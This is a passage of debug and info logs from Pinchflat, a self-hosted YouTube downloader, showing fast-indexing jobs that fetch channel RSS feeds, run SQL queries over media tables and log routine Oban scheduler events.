m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:40:32.736 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:32.736 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:40:32.932 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:40:32.933 [debug] QUERY OK source="media_items" db=0.3ms idle=196.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:40:32.935 [debug] QUERY OK source="media_items" db=2.0ms idle=197.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:40:32.936 [debug] QUERY OK source="tasks" db=0.0ms idle=199.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [567, 1, ~U[2026-07-24 08:40:32Z], ~U[2026-07-24 08:40:32Z]] 08:40:32.936 [info] {"args":{"id":1},"id":564,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":200193,"event":"job:stop","queue_time":554050,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:44.751 [info] {"args":{"id":3},"id":565,"meta":{},"system_time":1784882444751073015,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:44.751 [debug] QUERY OK source="sources" db=0.1ms idle=332.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:40:44.751 [debug] QUERY OK source="settings" db=0.0ms idle=332.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:44.751 [debug] QUERY OK source="media_profiles" db=0.0ms idle=332.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:40:44.751 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:40:44.751 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 08:40:44.780 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:40:44.780 [debug] QUERY OK source="media_items" db=0.1ms idle=29.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 08:40:44.782 [debug] QUERY OK source="media_items" db=1.7ms idle=29.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 08:40:44.783 [debug] QUERY OK source="tasks" db=0.0ms idle=31.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [568, 3, ~U[2026-07-24 08:40:44Z], ~U[2026-07-24 08:40:44Z]] 08:40:44.783 [info] {"args":{"id":3},"id":565,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":32454,"event":"job:stop","queue_time":454955,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:40:56.135 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:00.254 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:41:26.136 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:41:56.138 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:00.256 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:42:26.139 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:42:56.140 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:00.257 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:43:26.141 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:43:56.142 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:00.258 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:44:26.143 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:44:56.144 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:00.259 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:45:26.145 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:45:56.146 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:00.259 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:46:26.147 [info] {"source":"oban","duration":520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:46:56.148 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:00.261 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:47:26.149 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:47:56.150 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:00.262 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:48:26.151 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:48:56.152 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:00.263 [info] {"source":"oban","duration":351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:49:26.153 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:49:56.155 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:00.264 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 08:50:22.368 [info] {"args":{"id":2},"id":566,"meta":{},"system_time":1784883022368387848,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:22.368 [debug] QUERY OK source="sources" db=0.0ms idle=949.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:50:22.368 [debug] QUERY OK source="settings" db=0.1ms idle=949.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:22.368 [debug] QUERY OK source="media_profiles" db=0.0ms idle=949.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:50:22.369 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:22.369 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 08:50:22.498 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 08:50:22.499 [debug] QUERY OK source="media_items" db=0.2ms idle=130.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 08:50:22.499 [debug] QUERY OK source="media_items" db=0.2ms idle=130.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 08:50:22.500 [debug] QUERY OK source="tasks" db=0.1ms idle=131.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [569, 2, ~U[2026-07-24 08:50:22Z], ~U[2026-07-24 08:50:22Z]] 08:50:22.500 [info] {"args":{"id":2},"id":566,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":132331,"event":"job:stop","queue_time":1003978,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:26.156 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:50:33.379 [info] {"args":{"id":1},"id":567,"meta":{},"system_time":1784883033379422804,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:33.379 [debug] QUERY OK source="sources" db=0.0ms idle=960.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 08:50:33.379 [debug] QUERY OK source="settings" db=0.0ms idle=960.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:33.379 [debug] QUERY OK source="media_profiles" db=0.0ms idle=960.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:50:33.380 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:33.380 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 08:50:33.420 [debug] Media ids fetched from RSS: ["WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:50:33.420 [debug] QUERY OK source="media_items" db=0.3ms idle=40.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs", "qGAxca1Epyc"] 08:50:33.422 [debug] QUERY OK source="media_items" db=2.0ms idle=41.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 08:50:33.423 [debug] QUERY OK source="tasks" db=0.0ms idle=43.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [570, 1, ~U[2026-07-24 08:50:33Z], ~U[2026-07-24 08:50:33Z]] 08:50:33.423 [info] {"args":{"id":1},"id":567,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":44126,"event":"job:stop","queue_time":443015,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:45.393 [info] {"args":{"id":3},"id":568,"meta":{},"system_time":1784883045393260928,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 08:50:45.393 [debug] QUERY OK source="sources" db=0.0ms idle=1974.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 08:50:45.393 [debug] QUERY OK source="settings" db=0.1ms idle=1974.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:50:45.393 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:50:45.394 [debug] QUERY OK source="settings" db=0.2ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 